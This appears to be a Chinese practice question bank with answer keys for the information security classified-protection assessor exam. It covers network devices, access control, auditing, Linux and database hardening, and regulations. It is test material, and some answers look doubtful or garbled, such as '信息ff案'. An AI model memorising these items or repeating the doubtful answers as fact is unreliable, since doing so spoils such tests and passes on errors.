<p>D.计算机网络的可靠性大大提高。</p>
<p>(17)亚太地区的IP地址分配是由哪个组织负责的？(单选)</p>
<p>B</p>
<p>A.APRICOT</p>
<p>1 信息安全等级测评师测试</p>
<p>一、单选题（14分）</p>
<p>1、下列不属于网络安全测试范畴的是（ C ） A. 结构安全 B. 边界完整性检查 C. 剩余信息保护 D. 网络设备防护</p>
<p>2、下列关于安全审计的内容说法中错误的是（ D ）。 A. 应对网络系统中的网络设备运行情况、网络流量、用户行为等进行 日志记录。 B. 审计记录应包括：事件的日期和时间、用户、事件类型、事件是否 成功及其他与审计相关的信息。 C. 应能根据记录数据进行分析，并生成报表。 D. 为了节约存储空间，审计记录可以随意删除、修改或覆盖。</p>
<p>3、在思科路由器中，为实现超时10分钟后自动断开连接，实现的命令应 为下列哪一个。（ A ） A. exec-timeout 10 0 B. exec-timeout 0 10 C. idle-timeout 10 0 D. idle-timeout 0 10</p>
<p>4、用于发现攻击目标。（ A ） A. ping扫描 B. 操作系统扫描 C. 端口扫描 D. 漏洞扫描</p>
<p>Ping扫描:<em>用于发现攻击目标</em></p>
<p>操作系统识别扫描:对目标主机运行的操作系统进行识别</p>
<p>端口扫描:用于查看攻击目标处于监听或运行状态的…</p>
<p>5、防火墙提供的接入模式中包括。（ ABCD ） A. 网关模式 B. 透明模式 C. 混合模式 D. 旁路接入模式</p>
<p>6、路由器工作在 。( C ) A. 应用层 B. 链接层 C. 网络层 D. 传输层</p>
<p>7、防火墙通过＿＿控制来阻塞邮件附件中的病毒。( Ａ ) Ａ．数据控制 Ｂ．连接控制 Ｃ．ACL控制 Ｄ．协议控制</p>
<p>二、多选题（36分）</p>
<p>1、不同设VLAN之间要进行通信，可以通过＿＿。( A B ) A交换机 B路由器 C网闸 D入侵检测 E入侵防御系统</p>
<p>2、能够起到访问控制功能的设备有＿＿。( ABD ) A网闸 B三层交换机 C入侵检测系统 D防火墙</p>
<p>3、路由器可以通过 来限制带宽。（ ABCD ） A．源地址 B.目的地址 C.用户 D.协议</p>
<p>4、IPSec通过 实现密钥交换、管理及安全协商。（ ＣＤ ） A. AH B. ESP C. ISAKMP/Oakley D. SKIP</p>
<p>5、交换机可根据＿＿＿＿来限制应用数据流的最大流量。（ ACD ） A.IP地址 B.网络连接数 C.协议 D.端口</p>
<p>6、强制访问控制策略最显著的特征是＿＿＿＿＿。（ BD ） A.局限性 B.全局性 C.时效性 D.永久性</p>
<p>7、防火墙管理中 具有设定规则的权限。（ CD ） A．用户 B.审计员 C.超级管理员 D.普通管理员</p>
<p>8、网络设备进行远程管理时，应采用 协议的方式以防被窃听。 （ ＡＣ ） A. SSH B. HTTP C. HTTPS D. Telnet E.FTP</p>
<p>9、网络安全审计系统一般包括（ ABC ）。 A.网络探测引擎 B.数据管理中心 C审计中心 D声光报警系统</p>
<p>三、判断题</p>
<p>1、双因子鉴别不仅要求访问者知道一些鉴别信息，还需要访问者拥有鉴 别特征。（ √ ）</p>
<p>2、口令复杂度应有要求，所以复杂的口令可以不用修改。（ X ）</p>
<p>3、为特权用户设置口令时，应当使用enablepassword命令，该命令用于 设定具有管理权限的口令。( X )</p>
<p>4、在SSL握手信息中，采用了RSA、MD5等加密技术来实现机密性和 数据完整性。（ X ）</p>
<p>利用数据加密、身份验证和消息完整性验证机制，为网络上数据的传输提供安全性保证</p>
<p>消息传输过程中使用MAC算法来检验消息的完整性</p>
<p>目前主要支持的算法有DES、3DES、AES等</p>
<p>5、VLAN技术是基于应用层和网络层之间的隔离技术。（ X ）</p>
<p>6、标准访问控制列表通过网络地址和传输中的数据类型进行信息流控 制，且只允许过滤目的地址。（ X ）</p>
<p>四、简答题（44分）</p>
<p>1、网络安全的网络设备防护的内容是什么？（12分）</p>
<p>答：①、应对登录网络设备的用户进行身份鉴别； ②、应对网络设备管理员的登陆地址进行限制； ③、网络设备用户的标识应唯一； ④、主要网络设备应对同一用户选择两种或者两种以上组合的鉴别技术来进行身份鉴 别； ⑤、身份鉴别信息应具有不易被冒用的特点，口令应有复杂度的要求并定期更换； ⑥、应具有登录失败处理功能，可采取结束回话、限制非法登录次数和当网络登陆连 接超时自动退出等措施； ⑦、当对网络设备进行远程管理时，应采取必要措施防止鉴别信息在网络传输过程中 被窃听； ⑧、应实现设备特权用户的权限分离。</p>
<p>2、入侵检测系统分为哪几种，各有什么特点？（10分）</p>
<p>答：主机型入侵检测系统（HIDS），网络型入侵检测系统（NIDS）。</p>
<p>HIDS一般部署在下述四种情况下：</p>
<p>1 ）网络带宽高太高无法进行网络监控</p>
<p>2 ）网络带宽太低不能承受网络IDS的开销</p>
<p>3 ）网络环境是高度交换且交换机上没有镜像端口</p>
<p>4 ）不需要广泛的入侵检测 HIDS往往以系统日志、应用程序日志作为数据源；检测主机上的命令序列比检测 网络流更简单，系统的复杂性也少得多，所以主机检测系统误报率比网络入侵检测系统的误报率要低；他除了检测自身的主机以外，根本不检测网络上的情况，而且对入侵行为分析的工作量将随着主机数量的增加而增加，因此全面部署主机入侵检测系统代价比较大，企业很难将所有主机用主机入侵检测系统保护，只能选择部分主机进行保护，那些未安装主机入侵检测系统的机器将成为保护的忙点，入侵者可利用这些机器达到攻击的目标。依赖于服务器固有的日志和监视能力，。如果服务器上没有配置日志功能，则必须重新配置，这将给运行中的业务系统带来不可预见的性能影响。</p>
<p>NIDS一般部署在比较重要的网段内，它不需要改变服务器等主机的配置，由于他 不会在业务系统的主机中安装额外的软件，从而不会影响这些机器的CPU、I/O与磁盘等资源的使用，不会影响业务系统的性能。NIDS的数据源是网络上的数据包。通过线路窃听的手段对捕获的网络分组进行处理，从中获取有用的信息。一个网段上只需要安装一个或几个这样的系统，便可以检测整个网络的情况，比较容易实现。由于现在网络的日趋复杂和高速网络的普及，这种结构正接受者越来越大的挑战。</p>
<p>3、访问控制的三要素是什么？按访问控制策略划分，可分为哪几类？按层面划分，可分为哪几类？（10分）</p>
<p>答：访问控制的三要素是：</p>
<p>主体，客体，操作。</p>
<p>按访问控制策略划分可分为: 按层面划分分可分为： 1）自主访问控制 1）网络访问控制 2）强制访问控制 2）主机访问控制 3）基于角色的访问控制。 3）应用访问控制 4）物理访问控制</p>
<p>4、安全审计按对象不同，可分为哪些类？各类审计的内容又是什么？（12分）</p>
<p>答：系统级审计，应用级审计，用户级审计。 系统级审计：要求至少能够记录登陆结果、登录标识、登陆尝试的日期和时间、退出的日期和时间、所使用的设备、登陆后运行的内容、修改配置文件的请求等。</p>
<p>应用级审计：跟踪监控和记录诸如打开和关闭数据文件，读取、编辑和删除记录或字段的特定操作以及打印报告之类的用户活动。</p>
<p>用户级审计：跟踪通常记录用户直接启动的所有命令、所有的标识和鉴别尝试的所有访问的文件和资源。</p>
<p><strong>一、单选题（每题1.5分，共30分）</strong></p>
<p>1.以下关于等级保护的地位和作用的说法中不正确的是（ C ）</p>
<p>A.是国家信息安全保障工作的基本制度、基本国策。</p>
<p>B.是开展信息安全工作的基本方法。</p>
<p>C.是提高国家综合竞争力的主要手段。</p>
<p>D.是促进信息化、维护国家信息安全的根本保障。</p>
<p>\2. 以下关于信息系统安全建设整改工作工作方法说法中不正确的是：（ A ）</p>
<p>A.突出重要系统，涉及所有等级, 试点示范，行业推广，国家强制执行。</p>
<p>B.利用信息安全等级保护综合工作平台使等级保护工作常态化。</p>
<p>C.管理制度建设和技术措施建设同步或分步实施。</p>
<p>D.加固改造 缺什么补什么 也可以进行总体安全建设整改规划。</p>
<p>3.以下关于定级工作说法不正确的是：（ A ）</p>
<p>A.确定定级对象过程中，定级对象是指以下内容：起支撑、传输作用的信息网络（包括专网、内网、外网、网管系统）以及用于生产、调度、管理、指挥、作业、控制、办公等目的的各类业务系统 。</p>
<p>B.确定信息系统安全保护等级仅仅是指确定信息系统属于五个等级中的哪一个。</p>
<p>C.在定级工作中同类信息系统的安全保护等级不能随着部、 省、市行政级别的降低而降低。</p>
<p>D.新建系统在规划设计阶段应确定等级，按照信息系统等级，同步规划、同步设计、同步实施安全保护技术措施和管理措施。</p>
<p>\4. 安全建设整改的目的是（ D ）</p>
<p>（1）探索信息安全工作的整体思路；（2）确定信息系统保护的基线要求；（3）了解信息系统的问题和差距；（4）明确信息系统安全建设的目标；（5）提升信息系统的安全保护能力；</p>
<p>A.（1）、（2）、（3）、（5）</p>
<p>B.（3）、（4）、（5）</p>
<p>C.（2）、（3）、（4）、（5）</p>
<p>D.全部</p>
<p>5.下列说法中不正确的是（ B ）</p>
<p>A. 定级/备案是信息安全等级保护的首要环节。</p>
<p>B. 等级测评是评价安全保护现状的关键。</p>
<p>C. 建设整改是等级保护工作落实的关键。</p>
<p>D. 监督检查是使信息系统保护能力不断提高的保障。</p>
<p>6.配置如下两条访问控制列表：</p>
<p>access-list 1 permit 10.110.10.1 0.0.255.255</p>
<p>access-list 2 permit 10.110.100.100 0.0.255.255</p>
<p>访问控制列表1和2，所控制的地址范围关系是：（ A ）</p>
<p>A. 1和2的范围相同</p>
<p>B. 1的范围在2的范围内</p>
<p>C. 2的范围在1的范围内</p>
<p>D. 1和2的范围没有包含关系</p>
<p>\7. Oracle数据库中，以下（ C ）命令可以删除整个表中的数据，并且无法回滚。</p>
<p>A. Drop</p>
<p>B. Delete</p>
<p>C. Truncate</p>
<p>D. Cascade</p>
<p>8.下面哪个不是生成树的优点（ D ）</p>
<p>A. 生成树可以管理冗余链路，在链路发生故障时可以恢复网络连接</p>
<p>B. 生成树可以防止环路的产生</p>
<p>C. 生成树可以防止广播风暴</p>
<p>D. 生成树能够节省网络带宽</p>
<p>9.关于以下配置</p>
<p>Router ospf 100</p>
<p>Ip router authentication</p>
<p>Ip ospf message-digest-key 1 md5 XXXXXX（认证码）</p>
<p>以下说法不正确的是（ C ）</p>
<p>A.OSPF认证分为明文认证和密文认证两种方式。</p>
<p>B.OSPF协议是一种典型的链路状态路由协议，它通过路由器之间通过网络接口的状态来建立链路状态数据库，生成最短路径树。</p>
<p>C.OSPF的认证可以在链路上进行，也可以在整个区域内进行认证。但是在虚链路上不可以进行认证。</p>
<p>D.该配置可以应用在业务终端与业务服务器之间进行路由控制来建立安全的访问路径。</p>
<p>\10. 防火墙的位置一般为（ D ）。</p>
<p>A. 内外网连接的关口位置</p>
<p>B. 内网敏感部门的出口位置</p>
<p>C. 非军事区（DMZ）的两侧</p>
<p>D. 以上都对</p>
<p>\11. 关于防火墙的功能，以下（ D ）描述是错误的</p>
<p>A.防火墙可以检查进出内部网的通信量</p>
<p>B.防火墙可以使用应用网关技术在应用层上建立协议过滤和转发功能</p>
<p>C.防火墙可以使用过滤技术在网络层对数据包进行选择</p>
<p>D.防火墙可以阻止来自内部的威胁和攻击</p>
<p>12.拒绝服务攻击的后果是（ D ）。</p>
<p>A.信息不可用</p>
<p>B.应用程序不可用</p>
<p>C.系统宕机、阻止通信</p>
<p>D. 上面几项都是</p>
<p>\13. （ A ）即非法用户利用合法用户的身份，访问系统资源。</p>
<p>A、身份假冒 B、信息窃取 C、数据篡改 D、越权访问</p>
<p>14.linux主机中关于以下说法不正确的是（ C ）</p>
<p>A.PASS_MAX_DAYS 90 是指登陆密码有效期为90天。</p>
<p>B.PASS_WARN_AGE 7 是指登陆密码过期7天前提示修改。</p>
<p>C.FALL_DELAY 10 是指错误登陆限制为10次。</p>
<p>D.SYSLOG_SG_ENAB yes 当限定超级用于组管理日志时使用。</p>
<p>15.linux中关于登陆程序的配置文件默认的为（ B ）</p>
<p>A. /etc/pam.d/system-auth</p>
<p>B. /etc/login.defs</p>
<p>C./etc/shadow</p>
<p>D./etc/passwd</p>
<p>16.linux中要想查看对一个文件的是否具有-rwxr—r—权限，使用的命令为（ A ）</p>
<p>A.#ls –l /etc/passwd 744</p>
<p>B.#ls –l /etc/shadow 740</p>
<p>C.#ls –l /etc/rc3.d 665</p>
<p>D.#ls –l /etc/inet.conf 700</p>
<p>\17. 若要系统中每次缺省添加用户时，都自动设置用户的宿主目录为/users,需修改哪一个＿配置文件？（ A ）</p>
<p>A./etc/default/useradd</p>
<p>B./etc/login.defs</p>
<p>C./etc/shadow</p>
<p>D./etc/passwd</p>
<p>18.一位系统管理员想通过Telnet对一台运行Windows Server 2003的服务器进行远程的管理和维护，为了达到这个目的他想启动Telnet服务，但当他打开服务控制台中的Telnet服务属性时发现启动按钮不可用，如下图：</p>
<p>![img](file:///C:/Users/herry/AppData/Local/Temp/enhtmlclip/Image.png)<img decoding="async" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="img" data-lazy-src="https://img-blog.csdnimg.cn/2022010615101684811.png" /><noscript><img decoding="async" src="https://img-blog.csdnimg.cn/2022010615101684811.png" alt="img" /></noscript></p>
<p>产生这种情况的原因是（ A ）。</p>
<p>A.当前Telnet服务的启动类型为禁用</p>
<p>B.C:\WINDOWS\system32\tlnetsvr.exe文件丢失</p>
<p>C.本地组策略限制不允许启动Telnet服务</p>
<p>D.Telnet服务组件没有安装</p>
<p>\19. 小李是公司的网络管理员，公司的计算机处于单域中，他使用的操作系统为Windows Server 2003，由于计算机中有非常重要的资料，因此他想设置一个安全的密码。下面（ D ）是比较安全的密码</p>
<p>A.xiaoli123</p>
<p>B.13810023556</p>
<p>C.bcdefGhijklm</p>
<p>D.cb^9L2i</p>
<p>20.下列有关SQL Server 2000 中，master 数据库的说法不正确的是( D )</p>
<p>A 用户数据库可以重命名，master数据库不能重命名</p>
<p>B master 数据库 记录SQL server 的 所有系统信息</p>
<p>C master 数据库 在安装SQL server 的过程中自动安装</p>
<p>D 不可以重建master 数据库。</p>
<p><strong>二、不定项选择题（每题2分，多选不得分，少选得一分，共20分）</strong></p>
<p>1.当前我国的信息安全形势为（ ABC ）</p>
<p>A.遭受敌对势力的入侵、攻击、破坏。</p>
<p>B.针对基础信息网络和重要信息系统的违法犯罪持续上升。</p>
<p>C.全社会的信息安全等级保护意识仍需加强。</p>
<p>D.总体情况尚可，少量的基础信息网络和重要信息系统安全隐患严重。</p>
<p>\2. 以下对信息系统安全建设整改工作的复杂性和艰巨性说法正确的是（ ABCD ）</p>
<p>A.政策性和技术性很强。</p>
<p>B.涉及范围广。</p>
<p>C.信息系统安全加固改造，需要国家在经费上予以支持</p>
<p>D.跨省全国联网的大系统结构复杂运行实时保障性高、数据重要，加固改造周期长。</p>
<p>\3. 对测评机构不能从事的活动下列说法正确的是（ D ）</p>
<p>（1）影响被测评信息系统正常运行，危害被测评信息系统安全；</p>
<p>（2）泄露知悉的被测评单位及被测评信息系统的国家秘密和工作秘密；</p>
<p>（3）与客户进行沟通后隐瞒测评过程中发现的安全问题，维护客户关系；</p>
<p>（4）按规定格式出具等级测评报告；</p>
<p>（5）非授权占有、使用等级测评相关资料及数据文件</p>
<p>（6）分包或转包等级测评项目；</p>
<p>（7）信息安全产品开发、销售和信息系统安全集成；</p>
<p>（8）限定被测评单位购买、使用指定的信息安全产品，以达到最佳安全水平。</p>
<p>A.（1）、（2）、（4）、（5）、（8）。</p>
<p>B.（1）、（2）、（3）、（5）、（7）。</p>
<p>C.（1）、（2）、（3）、（4）、（8）。</p>
<p>D.（1）、（2）、（5）、（6）、（7）。</p>
<p>\4. 访问控制列表可实现下列哪些要求（ ABDE ）</p>
<p>A. 允许202.38.0.0/16网段的主机可以使用协议HTTP访问129.10.10.1</p>
<p>B. 不让任何机器使用Telnet登录</p>
<p>C. 使某个用户能从外部远程登录</p>
<p>D. 让某公司的每台机器都可经由SMTP发送邮件</p>
<p>E. 允许在晚上8:00到晚上12:00访问网络</p>
<p>F. 有选择地只发送某些邮件而不发送另一些文件</p>
<p>\5. 办公网络中计算机的逻辑组织形式可以有两种，工作组和域。下列关于工作组的叙述中正确的是（ AC ）。</p>
<p>A. 工作组中的每台计算机都在本地存储账户</p>
<p>B. 本计算机的账户可以登录到其它计算机上</p>
<p>C. 工作组中的计算机的数量最好不要超过10台</p>
<p>D. 工作组中的操作系统必须一样</p>
<p>\6. 如果只对主机地址为172.16.30.55进行访问列表的设置，下面各项正确的有（ BD ）</p>
<p>A.172.16.30.55 0.0.0.255</p>
<p>B.172.16.30.55 0.0.0.0</p>
<p>C.any 172.16.30.55</p>
<p>D.host 172.16.30.55</p>
<p>\7. Oracle中的三种系统文件分别是（ ABC ）</p>
<p>A.数据文件 DBF</p>
<p>B.控制文件 CTL</p>
<p>C.日志文件 LOG</p>
<p>D.归档文件 ARC</p>
<p>\8. 关于表分区的说法正确的有（ AC ）</p>
<p>A.表分区存储在表空间中</p>
<p>B.表分区可用于任意的数据类型的表</p>
<p>C.表分区不能用于含有自定义类型的表</p>
<p>D.表分区的每个分区都必须具有明确的上界值</p>
<p>\9. 语句SELECT‘ACCP’FROM DUAL 的执行结果是（A ）</p>
<p>A.ACCP</p>
<p>B.X</p>
<p>C.编译错</p>
<p>D.提示未选中行</p>
<p>\10. HASH加密使用复杂的数字算法来实现有效的加密,其算法包括( ABC )</p>
<p>A.MD2;</p>
<p>B.MD4;</p>
<p>C.MD5;</p>
<p>D.Cost256</p>
<p><strong>三、判断题（每题一分、共10分）</strong></p>
<p>\1. 所有等级的信息系统，一般都由信息系统运营使用单位到所在地设区的市级以上公安机关网络安全保卫部门办理备案手续，填写《信息系统安全等级保护备案表》（错 ）。</p>
<p>\2. 信息安全是非传统安全，信息安全本质是信息对抗、技术对抗、国家综合实力的对抗。（ 错 ）</p>
<p>3.在网络设备测评中网络设备应具有登录失败处理功能，可采取结束会话、限制非法登录次数和当网络登录连接超时自动退出等措施。（ 对 ）</p>
<p>4.在信息安全等级保护的ASG组合中没有S1A4G4这个组合。（ 错 ）</p>
<p>5.在信息安全等级测评中，《基本要求》是信息系统安全保护的基本“标尺”或达标线，满足《基本要求》意味着信息系统具有相应等级的保护能力，达到了很好的安全状态。（ 错 ）</p>
<p>\6. 经过安全建设整改工作后，三级信息系统在统一的安全保护策略下具有抵御大规模、较强恶意攻击的能力，抵抗较为严重的自然灾害的能力，防范计算机病毒和恶意代码危害的能力。（ 对 ）</p>
<p>7.在信息安全等级保护中，第三级信息系统和第四级信息系统都具有强制性。（ 对 ）</p>
<p>8.考虑到操作方便性和人员复用性，用户角色和权限不一定到最小权限。（ 错 ）</p>
<p>\9. 在等级测评过程中，应对信息系统的影虎采取两种或两种以上的组合技术对用户身份进行鉴别。（ 对 ）</p>
<p>\10. 地方测评机构只能上在本地开展测评，不能够去外地测评（ 错 ）。</p>
<p><strong>四、简答题（共3题，共40分）</strong></p>
<p>1.信息安全等级保护的五个标准步骤是什么？信息安全等级保护的定义是什么？</p>
<p>信息安全等级保护五个等级是怎样定义的？（10分）</p>
<p>（1）信息ff案、安全建设整改、等级测评、监督检查。</p>
<p>（2）对国家秘密信息、法人和其他组织及公民的专有信息以及公开信息和存储、传输、处理这些信息的系统分等级实行安全保护，对信息系统中使用的信息安全产品实行按等级管理，对信息系统中发生的信息安全事件分等级响应、处置。（答出三个分等级即可）</p>
<p>（3）第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益。</p>
<p>第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全。</p>
<p>第三级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害。</p>
<p>第四级，信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害。</p>
<p>第五级，信息系统受到破坏后，会对国家安全造成特别严重损害。</p>
<p>\2. 主机按照其规模或系统功能来区分为哪些类？主机安全在测评时会遇到哪些类型操作系统？网络安全三级信息系统的安全子类是什么？三级网络安全的安全审计的内容是什么？。（15分）</p>
<p>1）巨型 大型 中型 小型、微型计算机和单片机。</p>
<p>（2）目前运行在主机上的主流的操纵系统有？</p>
<p>有Windows、Linux、Sun Solaris 、IBM AIX、HP-UX等等</p>
<p>（3）结构安全、访问控制、安全审计、边界完整性检查、入侵防范、恶意代码防范、网络设备防护。</p>
<p>（4）a) 应对网络系统中的网络设备运行状况、网络流量、用户行为等进行日志记录。</p>
<p>​ b) 审计记录应包括：事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息</p>
<p>​ c) 应能够根据记录数据进行分析，并生成审计报表。</p>
<p>​ d) 应对审计记录进行保护，避免受到未预期的删除、修改或覆盖等。</p>
<p>\3. 数据库常见威胁有哪些？针对于工具测试需要注意哪些内容？（15分）</p>
<p>（1）非授权访问，特权提升、SQL注入、针对漏洞进行攻击、绕过访问控制进行非授权访问等。</p>
<p>（2）工具测试接入测试设备之前，首先要有被测系统人员确定测试条件是否具备。测试条件包括被测网络设备、主机、安全设备等是否都在正常运行，测试时间段是否为可测试时间段等等。接入系统的设备、工具的IP地址等配置要经过被测系统相关人员确认。对于测试过程可能造成的对目标系统的网络流量及主机性能等等方面的影响（例如口令探测可能会造成的帐号锁定等情况），要事先告知被测系统相关人员对于测试过程中的关键步骤、重要证据，要及时利用抓图等取证工具取证。对于测试过程中出现的异常情况（服务器出现故障、网络中断等等）要及时记录测试结束后，需要被测方人员确认被测系统状态正常并签字后离场。</p>
<p>附加题（5分，附件题算入总分）</p>
<p>采取什么措施可以帮助检测到入侵行为？</p>
<p>部署IPS/IDS，使用主机防火墙（软件）、硬件防火墙、在路由交换设备上设置策略、采用审计设备等。</p>
<p>答案：</p>
<p>一、</p>
<p>1.C 2.A 3.A 4.D 5.B</p>
<p>6.A 7.C 8.D 9.C 10.D</p>
<p>11.D 12.D 13.A 14.C 15.B</p>
<p>16.A 17.A 18.A 19.D 20.D</p>
<p>二、不定项选择题</p>
<p>1.ABC 2.ABCD 3.D 4.ABDE <a rel="nofollow" href="http://5.ac/">5.AC</a></p>
<p><a rel="nofollow" href="http://6.bd/">6.BD</a> 7.ABC <a rel="nofollow" href="http://8.ac/">8.AC</a> 9.A 10.ABC</p>
<p>三、判断题</p>
<p>1.错 2.错 3.对 4.错 5.错</p>
<p>6.对 7.对 8.错 9.对 10.错</p>
<p>四、简答题</p>
<p>1.（1）信息系统定级、备案、安全建设整改、等级测评、监督检查。</p>
<p>（2）对国家秘密信息、法人和其他组织及公民的专有信息以及公开信息和存储、传输、处理这些信息的系统分等级实行安全保护，对信息系统中使用的信息安全产品实行按等级管理，对信息系统中发生的信息安全事件分等级响应、处置。（答出三个分等级即可）</p>
<p>（3）第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益。</p>
<p>第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全。</p>
<p>第三级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害。</p>
<p>第四级，信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害。</p>
<p>第五级，信息系统受到破坏后，会对国家安全造成特别严重损害。</p>
<p>2.（1）巨型 大型 中型 小型、微型计算机和单片机。</p>
<p>（2）目前运行在主机上的主流的操纵系统有？</p>
<p>有Windows、Linux、Sun Solaris 、IBM AIX、HP-UX等等</p>
<p>（3）结构安全、访问控制、安全审计、边界完整性检查、入侵防范、恶意代码防范、网络设备防护。</p>
<p>（4）a) 应对网络系统中的网络设备运行状况、网络流量、用户行为等进行日志记录。</p>
<p>​ b) 审计记录应包括：事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息</p>
<p>​ c) 应能够根据记录数据进行分析，并生成审计报表。</p>
<p>​ d) 应对审计记录进行保护，避免受到未预期的删除、修改或覆盖等。</p>
<p>3.（1）非授权访问，特权提升、SQL注入、针对漏洞进行攻击、绕过访问控制进行非授权访问等。</p>
<p>（2）工具测试接入测试设备之前，首先要有被测系统人员确定测试条件是否具备。测试条件包括被测网络设备、主机、安全设备等是否都在正常运行，测试时间段是否为可测试时间段等等。接入系统的设备、工具的IP地址等配置要经过被测系统相关人员确认。对于测试过程可能造成的对目标系统的网络流量及主机性能等等方面的影响（例如口令探测可能会造成的帐号锁定等情况），要事先告知被测系统相关人员对于测试过程中的关键步骤、重要证据，要及时利用抓图等取证工具取证。对于测试过程中出现的异常情况（服务器出现故障、网络中断等等）要及时记录测试结束后，需要被测方人员确认被测系统状态正常并签字后离场。</p>
<p>附加题</p>
<p>部署IPS/IDS，使用主机防火墙（软件）、硬件防火墙、在路由交换设备上设置策略、采用审计设备等。</p>
<p><strong>一、法律法规</strong></p>
<p>一、单选题</p>
<p>1．根据《信息安全等级保护管理办法》，（A）负责信息安全等级保护工作的监督、检查、指导。</p>
<p>A．公安机关</p>
<p>B．国家保密工作部门</p>
<p>C．国家密码管理部门</p>
<p>2．根据《信息安全等级保护管理办法》，（D）应当依照相关规范和标准督促、检查、指导本行业、本部门或本地区信息系统运营、使用单位的信息安全等级保护工作。</p>
<p>A．公安机关</p>
<p>B．国家保密工作部门</p>
<p>C．国家密码管理部门</p>
<p>D．信息系统的主管部门</p>
<p>3．计算机信息系统安全保护等级根据计算机信息系统在国家安全、经济建设、社会生活中的_______，计算机信息系统受到破坏后对国家安全、社会秩序、公共利益以及公民、法人和其他组织的合法权益的_______等因素确定。(B)</p>
<p>A．经济价值 经济损失</p>
<p>B．重要程度 危害程度</p>
<p>C．经济价值 危害程度</p>
<p>D．重要程度 经济损失</p>
<p>4．对拟确定为（D）以上信息系统的，运营、使用单位或者主管部门应当请国家信息安全保护等级专家评审委员会评审。</p>
<p>A．第一级</p>
<p>B．第二级</p>
<p>C．第三级</p>
<p>D．第四级</p>
<p>5．一般来说，二级信息系统，适用于（D）</p>
<p>A．乡镇所属信息系统、县级某些单位中不重要的信息系统。小型个体、私营企业中的信息系统。中小学中的信息系统。</p>
<p>B．适用于地市级以上国家机关、企业、事业单位内部重要的信息系统；重要领域、重要部门跨省、跨市或全国（省）联网运行的信息系统；跨省或全国联网运行重要信息系统在省、地市的分支系统；各部委官方网站；跨省（市）联接的信息网络等。</p>
<p>C．适用于重要领域、重要部门三级信息系统中的部分重要系统。例如全国铁路、民航、电力等调度系统，银行、证券、保险、税务、海关等部门中的核心系统。</p>
<p>D．地市级以上国家机关、企业、事业单位内部一般的信息系统。例如小的局域网，非涉及秘密、敏感信息的办公系统等。</p>
<p>6．信息系统建设完成后，（A）的信息系统的运营使用单位应当选择符合国家规定的测评机构进行测评合格方可投入使用。</p>
<p>A．二级以上</p>
<p>B．三级以上</p>
<p>C．四级以上</p>
<p>D．五级以上</p>
<p>7．安全测评报告由（D）报地级以上市公安机关公共信息网络安全监察部门。</p>
<p>A．安全服务机构</p>
<p>B．县级公安机关公共信息网络安全监察部门</p>
<p>C．测评机构</p>
<p>D．计算机信息系统运营、使用单位</p>
<p>8．新建（ ）信息系统，应当在投入运行后（ ），由其运营、使用单位到所在地设区的市级以上公安机关办理备案手续。（D）</p>
<p>A．第一级以上30日内</p>
<p>B．第二级以上60日内</p>
<p>C．第一级以上60日内</p>
<p>D．第二级以上30日内</p>
<p>9．根据《广东省计算机信息系统安全保护条例》规定，计算机信息系统的运营、使用单位没有向地级市以上人民政府公安机关备案的，由公安机关处以（D）</p>
<p>A．警告</p>
<p>B．拘留15日</p>
<p>C．罚款1500元</p>
<p>D．警告或者停机整顿</p>
<p>二、多选题</p>
<p>1．根据《关于信息安全等级保护的实施意见》，信息系统安全等级保护应当遵循什么原则？（ABCD）</p>
<p>A．明确责任，共同保护</p>
<p>B．依照标准，自行保护</p>
<p>C．同步建设，动态调整</p>
<p>D．指导监督，保护重点</p>
<p>2．根据《信息安全等级保护管理办法》，关于信息系统安全保护等级的划分，下列表述正确的是（ABCDE）。</p>
<p>A．第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益</p>
<p>B．第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全</p>
<p>C．第三级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害</p>
<p>D．第四级，信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害</p>
<p>E．第五级，信息系统受到破坏后，会对国家安全造成特别严重损害</p>
<p>3．根据《广东省计算机信息系统安全保护条例》，计算机信息系统（ABCD）应当同步落实相应的安全措施。</p>
<p>A．规划</p>
<p>B．设计</p>
<p>C．建设</p>
<p>D．维护</p>
<p>4．经测评，计算机信息系统安全状况未达到国家有关规定和标准的要求的，（AB）</p>
<p>A．委托单位应当根据测评报告的建议，完善计算机信息系统安全建设</p>
<p>B．重新提出安全测评委托</p>
<p>C．另行委托其他测评机构进行测评</p>
<p>D．自行进行安全测评</p>
<p>5．根据《广东省信息安全等级测评工作细则》，关于测评和自查工作，以下表述正确的是（ABCD）。</p>
<p>A．第三级计算机信息系统应当每年至少进行一次安全自查和安全测评</p>
<p>B．第四级计算机信息系统应当每半年至少进行一次安全自查和安全测评</p>
<p>C．第五级计算机信息系统应当依据特殊安全要求进行安全自查和安全测评</p>
<p>D．自查报告连同测评报告应当由计算机信息系统运营、使用单位报地级以上市公安机关公共信息网络安全监察部门</p>
<p>6．根据《广东省公安厅关于计算机信息系统安全保护的实施办法》，关于公安机关的进行安全检查的要求，下列表述正确的是（ABCD）。</p>
<p>A．对第三级计算机信息系统每年至少检查一次</p>
<p>B．对第四级计算机信息系统每半年至少检查一次</p>
<p>C．对第五级计算机信息系统，应当会同国家指定的专门部门进行检查</p>
<p>D．对其他计算机信息系统应当不定期开展检查</p>
<p>7．根据《广东省计算机信息系统安全保护条例》，计算机信息系统的运营、使用单位接到公安机关要求整改的通知后拒不按要求整改的，由公安机关处以（CD）。</p>
<p>A．罚款5000元</p>
<p>B．拘留15日</p>
